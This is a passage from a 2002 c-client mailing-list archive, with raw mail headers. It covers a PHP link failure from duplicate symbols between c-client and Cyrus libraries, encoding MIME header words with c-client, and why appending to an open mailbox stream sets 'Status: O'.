04:28:30 -0700 Received: FROM mxu4.u.washington.edu BY mailscan4.cac.washington.edu ; Fri Sep 20 04:28:29 2002 -0700 Received: from rz3.rz (pD9E4ADE9.dip.t-dialin.net [217.228.173.233]) by mxu4.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.09) with ESMTP id g8KBSRPD026428 for ; Fri, 20 Sep 2002 04:28:28 -0700 Received: from systron.de (rz158.rz [192.168.235.158]) by rz3.rz (8.11.2/8.11.2/SuSE Linux 8.11.1-0.5) with ESMTP id g8KDOHv23370 for ; Fri, 20 Sep 2002 15:24:17 +0200 Message-Id: <3D8B2181.432F22CB@systron.de> Date: Fri, 20 Sep 2002 13:24:17 +0000 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Ralf Grabow To: c-client@u.washington.edu Subject: php compile fails MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Sender: rag@systron.de X-Accept-Language: en X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Hello list. >> here: >> imap-2002.RC6 >> php-4.2.3 >> linux 2.4.18 >> cyrus-imapd-2.1.9 >> cyrus-sasl-2.1.6 >> httpd-2.0.40 >> ./configure --with-apxs2=/usr/local/apache2/bin/apxs >> --with-pear --disable-debug --enable-track-vars --with-ftp >> --with-xml --enable-sockets >> --with-imap=/usr/src/imap-2002.RC6 --with-gettext=yes >> --with-cyrus --with-openssl >> >> php-4.2.3:> make: >> ... >> /usr/src/imap-2002.RC6/lib/libc-client.a(osdep.o): In function `fatal': >> /usr/src/imap-2002.RC6/c-client/fs_unix.c(.text+0x9500): multiple >> definition of `fatal' >> /usr/src/php-4.2.3/ext/cyrus/.libs/libcyrus.al(cyrus.lo)(.text+0x160):/u >> sr/src/php-4.2.3/ext/cyrus/cyrus.c: first defined here >> /usr/i486-suse-linux/bin/ld: Warning: size of symbol `fatal' changed >> from 40 to 43 in /usr/src/imap-2002.RC6/lib/libc-client.a(osdep.o) >> /usr/local/lib/libcyrus.a(xmalloc.o): In function `fs_get': >> /usr/src/cyrus-imapd-2.1.9/lib/xmalloc.c(.text+0x190): multiple >> definition of `fs_get' >> /usr/src/imap-2002.RC6/lib/libc-client.a(osdep.o)(.text+0x93c0):/usr/src >> /imap-2002.RC6/c-client/env_unix.c: first defined here >> /usr/i486-suse-linux/bin/ld: Warning: size of symbol `fs_get' changed >> from 110 to 44 in /usr/local/lib/libcyrus.a(xmalloc.o) >> /usr/local/lib/libcyrus.a(xmalloc.o): In function `fs_give': >> /usr/src/cyrus-imapd-2.1.9/lib/xmalloc.c(.text+0x1c0): multiple >> definition of `fs_give' >> /usr/src/imap-2002.RC6/lib/libc-client.a(osdep.o)(.text+0x94b0):/usr/src >> /imap-2002.RC6/c-client/fs_unix.c: first defined >> here/usr/i486-suse-linux/bin/ld: Warning: size of symbol `fs_give' >> changed from 80 to 34 in /usr/local/lib/libcyrus.a(xmalloc.o) >> collect2: ld returned 1 exit status >> make[1]: *** [libphp4.la] Error 1 >> make[1]: Leaving directory `/usr/src/php-4.2.3' >> make: *** [all-recursive] Error 1 >> >> see also Bug #15776 imap compile failure >> > > [19 Sep 8:20pm] kalowsky@php.net > > Sorry, but the bug system is not the appropriate forum for asking > support questions. Your problem does not imply a bug in PHP itself. > ... > Your problem is in your c-client compile not PHP. Talk to c-client people.. I do make slx in the imap-2002.RC6 directory and all seems to be okay. How can I avoid these multiple definitions. Ralf -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Fri Sep 20 05:23:17 2002 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Fri, 20 Sep 2002 05:23:17 -0700 (PDT) Return-Path: Received: from mailscan2.cac.washington.edu (mailscan2.cac.washington.edu [140.142.33.16]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with SMTP id g8KCNH2P016338 for ; Fri, 20 Sep 2002 05:23:17 -0700 Received: FROM mx2.cac.washington.edu BY mailscan2.cac.washington.edu ; Fri Sep 20 05:23:16 2002 -0700 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx2.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with ESMTP id g8KCN8EN015376 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Fri, 20 Sep 2002 05:23:08 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.08) with SMTP id g8KCLM4G016712; Fri, 20 Sep 2002 05:21:22 -0700 Received: from mailscan6.cac.washington.edu (mailscan6.cac.washington.edu [140.142.33.14]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.08) with SMTP id g8KCIs97150772 for ; Fri, 20 Sep 2002 05:18:54 -0700 Received: FROM mxu2.u.washington.edu BY mailscan6.cac.washington.edu ; Fri Sep 20 05:18:53 2002 -0700 Received: from shiva.jussieu.fr (shiva.jussieu.fr [134.157.0.129]) by mxu2.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.09) with ESMTP id g8KCIqlu026482 for ; Fri, 20 Sep 2002 05:18:53 -0700 Received: from parthe.lpthe.jussieu.fr (parthe.lpthe.jussieu.fr [134.157.10.1]) by shiva.jussieu.fr (8.12.5/jtpda-5.4) with ESMTP id g8KCIpjR091024 for ; Fri, 20 Sep 2002 14:18:51 +0200 (CEST) Received: from seth.lpthe.jussieu.fr (IDENT:root@seth.lpthe.jussieu.fr [134.157.10.7]) by parthe.lpthe.jussieu.fr (8.11.6/jtpda-5.4) with ESMTP id g8KCIk522605 for ; Fri, 20 Sep 2002 14:18:46 +0200 Received: from (zeitlin@localhost) by seth.lpthe.jussieu.fr (8.8.7/jtpda-5.1) id OAA27823 ; Fri, 20 Sep 2002 14:18:46 +0200 Message-Id: Date: Fri, 20 Sep 2002 14:18:46 +0200 (CET) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Vadim Zeitlin To: c-client@u.washington.edu Subject: Re: How to encode a header (subject) (RFC1522 encoding) with c-client In-Reply-To: <3D8AB9F7.E596A416@yomi.com> References: <3D8AB9F7.E596A416@yomi.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII Content-Disposition: INLINE X-Antivirus: scanned by sophie at shiva.jussieu.fr X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Fri, 20 Sep 2002 09:02:31 +0300 Pekka Karp wrote: PK> can anyone help me and please tell me how to encode subject on header PK> before a new message sending. (RFC1522 encoding) with c-client PK> functions. I use either rfc822_binary() or rfc822_8bit() depending on the number of characters needed to be encoded. You have to be careful about a few things however: 1. the encoded words (in the sense of RFC 2047) must be no more than 75 characters and you have to enforce this yourself 2. rfc822_8bit() doesn't encode spaces, tabs and '?' which must be encoded in the header so you need to do this manually I don't know why c-client doesn't provide a standard function to do this. I think I've already asked Mark (if I'm mistaken, let me do it now) if a patch adding such function would be accepted -- if this is the case, I may provide one. Regards, VZ From pinedev@shivax2.cac.washington.edu Fri Sep 20 09:26:01 2002 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Fri, 20 Sep 2002 09:26:01 -0700 (PDT) Return-Path: Received: from mailscan5.cac.washington.edu (mailscan5.cac.washington.edu [140.142.32.14]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with SMTP id g8KGQ12P021933 for ; Fri, 20 Sep 2002 09:26:01 -0700 Received: FROM mx1.cac.washington.edu BY mailscan5.cac.washington.edu ; Fri Sep 20 09:26:00 2002 -0700 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx1.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.09) with ESMTP id g8KGPvCM027186 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Fri, 20 Sep 2002 09:25:58 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.08) with SMTP id g8KGO80j014730; Fri, 20 Sep 2002 09:24:09 -0700 Received: from mailscan1.cac.washington.edu (mailscan1.cac.washington.edu [140.142.32.16]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.08) with SMTP id g8KGLS97061740 for ; Fri, 20 Sep 2002 09:21:28 -0700 Received: FROM mxu2.u.washington.edu BY mailscan1.cac.washington.edu ; Fri Sep 20 09:21:27 2002 -0700 Received: from Ikkoku-Kan.Panda.COM (panda.com [206.124.149.114]) by mxu2.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.09) with ESMTP id g8KGLPlu012801 for ; Fri, 20 Sep 2002 09:21:26 -0700 Received: from Ikkoku-Kan.Panda.COM (Ikkoku-Kan.Panda.COM [192.107.14.50]) by Ikkoku-Kan.Panda.COM id JAA07907; Fri, 20 Sep 2002 09:21:19 -0700 (PDT) Message-Id: Date: Fri, 20 Sep 2002 09:11:08 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Ralf Grabow Cc: c-client@u.washington.edu Subject: re: php compile fails In-Reply-To: <3D8B2181.432F22CB@systron.de> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN I'm sorry, but this problem seems to go back to the PHP people, or possibly to the Cyrus people. It looks like PHP is trying to link with two libraries, libc-client.a and libcyrus.a, and that both libraries have routines named fatal() and fs_get(). c-client has had these routine names as globals for a long time (15 years), long before Cyrus existed. If libcyrus.a is supposed to be lunk with c-client in an application, it can not define global routines with these names. So either it is a Cyrus problem (libcyrus.a uses conflicting global names), or it is a PHP problem (PHP is linking two incompatible libraries). That is something that you'll need to discuss with the PHP and/or Cyrus people. I do not know enough about either Cyrus or PHP to be able to determine which one of these two possibilities that it is. I can, however, tell you that it's not a c-client problem. I don't know why kalowsky@php.net told you that it was a "c-client compile". It is clearly doing a link, not a compile; and this link is in PHP and not in c-client. c-client was obviously lunk quite some time earlier. From pinedev@shivax2.cac.washington.edu Fri Sep 20 10:02:28 2002 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Fri, 20 Sep 2002 10:02:28 -0700 (PDT) Return-Path: Received: from mailscan6.cac.washington.edu (mailscan6.cac.washington.edu [140.142.33.14]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with SMTP id g8KH2R2P023241 for ; Fri, 20 Sep 2002 10:02:27 -0700 Received: FROM mx1.cac.washington.edu BY mailscan6.cac.washington.edu ; Fri Sep 20 10:02:26 2002 -0700 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx1.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.09) with ESMTP id g8KH2QCM028495 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Fri, 20 Sep 2002 10:02:26 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.08) with SMTP id g8KH0ok6024622; Fri, 20 Sep 2002 10:00:50 -0700 Received: from mailscan6.cac.washington.edu (mailscan6.cac.washington.edu [140.142.33.14]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.08) with SMTP id g8KGwG97069864 for ; Fri, 20 Sep 2002 09:58:16 -0700 Received: FROM mxu2.u.washington.edu BY mailscan6.cac.washington.edu ; Fri Sep 20 09:58:15 2002 -0700 Received: from Ikkoku-Kan.Panda.COM (panda.com [206.124.149.114]) by mxu2.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.09) with ESMTP id g8KGwFlu024932 for ; Fri, 20 Sep 2002 09:58:15 -0700 Received: from Ikkoku-Kan.Panda.COM (Ikkoku-Kan.Panda.COM [192.107.14.50]) by Ikkoku-Kan.Panda.COM id JAA07992; Fri, 20 Sep 2002 09:58:10 -0700 (PDT) Message-Id: Date: Fri, 20 Sep 2002 09:53:24 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Vadim Zeitlin Cc: c-client@u.washington.edu Subject: Re: How to encode a header (subject) (RFC1522 encoding) with c-client In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN The main reasons why c-client does not have any MIME2 encoding routines (it does have a routine to decode MIME2 to UTF-8) are: . it's easy enough to do in the application . there's no obvious place where it would fit without breaking existing applications To clarify the latter, the ENVELOPE structure (which is where data that would be MIME2 encoded would go) only stores ASCII strings. There's no concept of "charset" in the ENVELOPE structure, and no obvious way to add it without breaking existing applications. From pinedev@shivax2.cac.washington.edu Mon Sep 23 16:16:51 2002 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Mon, 23 Sep 2002 16:16:51 -0700 (PDT) Return-Path: Received: from mailscan3.cac.washington.edu (mailscan3.cac.washington.edu [140.142.32.15]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with SMTP id g8NNGo2P014966 for ; Mon, 23 Sep 2002 16:16:50 -0700 Received: FROM mx1.cac.washington.edu BY mailscan3.cac.washington.edu ; Mon Sep 23 16:16:50 2002 -0700 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx1.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.09) with ESMTP id g8NNGnCM027168 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Mon, 23 Sep 2002 16:16:49 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.08) with SMTP id g8NNEd0j006062; Mon, 23 Sep 2002 16:14:39 -0700 Received: from mailscan2.cac.washington.edu (mailscan2.cac.washington.edu [140.142.33.16]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.08) with SMTP id g8NNB297173850 for ; Mon, 23 Sep 2002 16:11:02 -0700 Received: FROM mxu2.u.washington.edu BY mailscan2.cac.washington.edu ; Mon Sep 23 16:11:02 2002 -0700 Received: from flu-smtp-01.datacomm.ch (smtp.datacomm.ch [212.40.5.52]) by mxu2.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.09) with ESMTP id g8NNB0nf027759 for ; Mon, 23 Sep 2002 16:11:01 -0700 Received: from tpo2.sourcepole (adsl-130-143-bs2.tiscali.ch [212.254.130.143]) by flu-smtp-01.datacomm.ch (8.11.6/8.11.6) with ESMTP id g8NNAx328410 for ; Tue, 24 Sep 2002 01:10:59 +0200 Received: from tpo2 (helo=localhost) by tpo2.sourcepole with local-esmtp (Exim 3.35 #1 (Debian)) id 17tcLy-0003FF-00 for ; Tue, 24 Sep 2002 01:10:58 +0200 Message-Id: Date: Tue, 24 Sep 2002 01:10:58 +0200 (CEST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Tomas Pospisek's Mailing Lists" To: c-client@u.washington.edu Subject: Status: O MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-X-Sender: tpo2@tpo2.sourcepole X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN I'm trying to sync mail from an IMAP server to a /var/spool/mail/mbox [1]. The problem is, that mail_append[_full] will allways add a Status: O to the mail, even if I pass an empty string to the function as "flags". The problem with this is that the mutt MUA interprets Status: O as an old message, that is != New message, which means that I'm unable to sync with an IMAP server in a way that will enable mutt to see new messages. I think mutt's behaveour is in accordance with RFC2076 which states that: O message is old but not deleted. That RFC also states that: N new (a new message also sometimes is distinguished by not having any "Status:" header. If I could achieve either of: * append a message with "Status: " without any flags * append a message without a "Status:" header at all * append a message with the flag "N" as in "Status: N" then I'd be done, but it doesn't seem that c-client can do any of those (?). If there is a way to achieve that I'd be glad if I could be pointed to the relevant source/docu. Otherwise I'd like to know if such functionality could be added to c-client? *t [1] mailsync.sf.net -- ----------------------------------------------------------- Tomas Pospisek SourcePole - Linux & Open Source Solutions http://sourcepole.ch Elestastrasse 18, 7310 Bad Ragaz, Switzerland Tel: +41 (81) 330 77 11 ----------------------------------------------------------- -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Mon Sep 23 20:19:51 2002 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Mon, 23 Sep 2002 20:19:51 -0700 (PDT) Return-Path: Received: from mailscan2.cac.washington.edu (mailscan2.cac.washington.edu [140.142.33.16]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with SMTP id g8O3Jp2P020566 for ; Mon, 23 Sep 2002 20:19:51 -0700 Received: FROM mx1.cac.washington.edu BY mailscan2.cac.washington.edu ; Mon Sep 23 20:19:50 2002 -0700 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx1.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.09) with ESMTP id g8O3JmCM032565 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Mon, 23 Sep 2002 20:19:49 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.08) with SMTP id g8O3I9Om092646; Mon, 23 Sep 2002 20:18:09 -0700 Received: from mailscan6.cac.washington.edu (mailscan6.cac.washington.edu [140.142.33.14]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.08) with SMTP id g8O3Fr97030656 for ; Mon, 23 Sep 2002 20:15:53 -0700 Received: FROM mxu2.u.washington.edu BY mailscan6.cac.washington.edu ; Mon Sep 23 20:15:53 2002 -0700 Received: from Ikkoku-Kan.Panda.COM (panda.com [206.124.149.114]) by mxu2.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.09) with ESMTP id g8O3Fpnf015917 for ; Mon, 23 Sep 2002 20:15:52 -0700 Received: from Ikkoku-Kan.Panda.COM (Ikkoku-Kan.Panda.COM [192.107.14.50]) by Ikkoku-Kan.Panda.COM id UAA15562; Mon, 23 Sep 2002 20:15:29 -0700 (PDT) Message-Id: Date: Mon, 23 Sep 2002 19:52:07 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: "Tomas Pospisek's Mailing Lists" Cc: c-client@u.washington.edu Subject: re: Status: O In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Tue, 24 Sep 2002 01:10:58 +0200 (CEST), Tomas Pospisek's Mailing Lists wrote: > The problem is, that mail_append[_full] will allways add a > Status: O > to the mail, even if I pass an empty string to the function as "flags". What version of c-client are you using? No current version of c-client does that, and it looks like this was changed way back in imap-4.1 days, between 5 and 6 years ago. If you are using a modern c-client, then mail_append_full() does not set "O" status, and something else must be doing it. If you have the mailbox open when you do the append, then that "something else" is the open mail stream. From pinedev@shivax2.cac.washington.edu Tue Sep 24 02:33:06 2002 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Tue, 24 Sep 2002 02:33:06 -0700 (PDT) Return-Path: Received: from mailscan5.cac.washington.edu (mailscan5.cac.washington.edu [140.142.32.14]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with SMTP id g8O9X62P029799 for ; Tue, 24 Sep 2002 02:33:06 -0700 Received: FROM mx2.cac.washington.edu BY mailscan5.cac.washington.edu ; Tue Sep 24 02:33:05 2002 -0700 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx2.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.09) with ESMTP id g8O9X4a4002318 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Tue, 24 Sep 2002 02:33:05 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.08) with SMTP id g8O9V1k6004016; Tue, 24 Sep 2002 02:31:01 -0700 Received: from mailscan2.cac.washington.edu (mailscan2.cac.washington.edu [140.142.33.16]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.08) with SMTP id g8O9SF97178252 for ; Tue, 24 Sep 2002 02:28:15 -0700 Received: FROM mxu4.u.washington.edu BY mailscan2.cac.washington.edu ; Tue Sep 24 02:28:15 2002 -0700 Received: from obelix.spectraweb.ch (obelix.plusnet.ch [194.158.230.8]) by mxu4.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.09) with ESMTP id g8O9SEIr019664 for ; Tue, 24 Sep 2002 02:28:14 -0700 Received: from petertosh (pop-mu-1-2-dialup-33.freesurf.ch [194.230.129.33]) by obelix.spectraweb.ch (8.11.2/8.9.3/SuSE Linux 8.9.3-0.1) with ESMTP id g8O9S3U25394 for ; Tue, 24 Sep 2002 11:28:03 +0200 Received: from tpo2 (helo=localhost) by petertosh with local-esmtp (Exim 3.35 #1 (Debian)) id 17tlqc-0000Kc-00 for ; Tue, 24 Sep 2002 11:19:14 +0200 Message-Id: Date: Tue, 24 Sep 2002 11:19:13 +0200 (CEST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: tomas pospisek To: c-client@u.washington.edu Subject: re: Status: O In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-X-Sender: tpo2@petertosh X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Mon, 23 Sep 2002, Mark Crispin wrote: > On Tue, 24 Sep 2002 01:10:58 +0200 (CEST), Tomas Pospisek's Mailing Lists > wrote: > > The problem is, that mail_append[_full] will allways add a > > Status: O > > to the mail, even if I pass an empty string to the function as "flags". > > What version of c-client are you using? No current version of c-client does > that, and it looks like this was changed way back in imap-4.1 days, between 5 > and 6 years ago. I'm using the version from 2001 (the one currently packaged in Debian), but I've also compiled and tested against the current one RC5, with the same result. > If you are using a modern c-client, then mail_append_full() does not set "O" > status, and something else must be doing it. If you have the mailbox open > when you do the append, then that "something else" is the open mail stream. Oh. OK, I'll check the programm and make sure it's not appending while it has the box open. Is there a specific reason appending to an open stream will automatically mark the appenden messages "Status: O"? Thanks, *t -- to ma s p From pinedev@shivax2.cac.washington.edu Tue Sep 24 03:18:08 2002 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Tue, 24 Sep 2002 03:18:08 -0700 (PDT) Return-Path: Received: from mailscan1.cac.washington.edu (mailscan1.cac.washington.edu [140.142.32.16]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with SMTP id g8OAI82P031098 for ; Tue, 24 Sep 2002 03:18:08 -0700 Received: FROM mx1.cac.washington.edu BY mailscan1.cac.washington.edu ; Tue Sep 24 03:18:07 2002 -0700 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx1.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.09) with ESMTP id g8OAI6CM008285 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Tue, 24 Sep 2002 03:18:07 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.08) with SMTP id g8OAGFk6035620; Tue, 24 Sep 2002 03:16:15 -0700 Received: from mailscan4.cac.washington.edu (mailscan4.cac.washington.edu [140.142.33.15]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.08) with SMTP id g8OABo97046698 for ; Tue, 24 Sep 2002 03:11:51 -0700 Received: FROM mxu4.u.washington.edu BY mailscan4.cac.washington.edu ; Tue Sep 24 03:11:50 2002 -0700 Received: from obelix.spectraweb.ch (obelix.plusnet.ch [194.158.230.8]) by mxu4.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.09) with ESMTP id g8OABnIr025821 for ; Tue, 24 Sep 2002 03:11:49 -0700 Received: from petertosh (pop-mu-14-1-dialup-52.freesurf.ch [194.230.157.52]) by obelix.spectraweb.ch (8.11.2/8.9.3/SuSE Linux 8.9.3-0.1) with ESMTP id g8OABbU04164 for ; Tue, 24 Sep 2002 12:11:38 +0200 Received: from tpo2 (helo=localhost) by petertosh with local-esmtp (Exim 3.35 #1 (Debian)) id 17tmeH-0000Mx-00 for ; Tue, 24 Sep 2002 12:10:33 +0200 Message-Id: Date: Tue, 24 Sep 2002 12:10:32 +0200 (CEST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: tomas pospisek To: c-client@u.washington.edu Subject: re: Status: O In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-X-Sender: tpo2@petertosh X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Tue, 24 Sep 2002, tomas pospisek wrote: > > If you are using a modern c-client, then mail_append_full() does not set "O" > > status, and something else must be doing it. If you have the mailbox open > > when you do the append, then that "something else" is the open mail stream. > > Oh. OK, I'll check the programm and make sure it's not appending while it > has the box open. Let me see, if I understand this right. mail_append_full has the following syntax: long mail_append_full (MAILSTREAM *stream,char *mailbox,char *flags, char *date, STRING *message); Are you saying that I should be appending to a _closed_ stream? Btw - I note that pine apparently falls into the same pithole as me, since if I write a message to myself from within pine it gets "Status: O", even before I even see it in the index. *t -- to ma s p From pinedev@shivax2.cac.washington.edu Tue Sep 24 07:54:19 2002 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Tue, 24 Sep 2002 07:54:19 -0700 (PDT) Return-Path: Received: from mailscan3.cac.washington.edu (mailscan3.cac.washington.edu [140.142.32.15]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with SMTP id g8OEsJ2P005214 for ; Tue, 24 Sep 2002 07:54:19 -0700 Received: FROM mx1.cac.washington.edu BY mailscan3.cac.washington.edu ; Tue Sep 24 07:54:19 2002 -0700 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx1.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.09) with ESMTP id g8OEsICM013769 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Tue, 24 Sep 2002 07:54:19 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.08) with SMTP id g8OEqdk6024506; Tue, 24 Sep 2002 07:52:40 -0700 Received: from mailscan4.cac.washington.edu (mailscan4.cac.washington.edu [140.142.33.15]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.08) with SMTP id g8OEoB97140666 for ; Tue, 24 Sep 2002 07:50:11 -0700 Received: FROM mxu4.u.washington.edu BY mailscan4.cac.washington.edu ; Tue Sep 24 07:50:10 2002 -0700 Received: from Ikkoku-Kan.Panda.COM (panda.com [206.124.149.114]) by mxu4.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.09) with ESMTP id g8OEo9Ir008810 for ; Tue, 24 Sep 2002 07:50:10 -0700 Received: from Ikkoku-Kan.Panda.COM (Ikkoku-Kan.Panda.COM [192.107.14.50]) by Ikkoku-Kan.Panda.COM id HAA16271; Tue, 24 Sep 2002 07:50:00 -0700 (PDT) Message-Id: Date: Tue, 24 Sep 2002 07:41:23 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: tomas pospisek Cc: c-client@u.washington.edu Subject: re: Status: O In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Tue, 24 Sep 2002 11:19:13 +0200 (CEST), tomas pospisek wrote: > Is there a specific reason appending to an open stream will automatically > mark the appenden messages "Status: O"? If the stream is open on the mailbox being appended to, then when you append to that mailbox, the open stream will see the new message. The open stream will call the new message \Recent, and set "Status: O" in the file for subsequent streams. On Tue, 24 Sep 2002 12:10:32 +0200 (CEST), tomas pospisek wrote: > Let me see, if I understand this right. mail_append_full has the following > syntax: > long mail_append_full (MAILSTREAM *stream,char *mailbox,char *flags, > char *date, STRING *message); > Are you saying that I should be appending to a _closed_ stream? You can append to a null stream, or to a stream open on another mailbox. Note that a closed stream (mail_close() called on it) is no longer valid and has been free()d. In general, you only should provide a non-null stream if you are using IMAP, and already have a stream open to the IMAP server for the APPEND destination mailbox. In that case, c-client will use that stream instead of making a temporary stream. The other reason to provide a non-null stream is for setting local formats, but that's a power tool. > Btw - I note that pine apparently 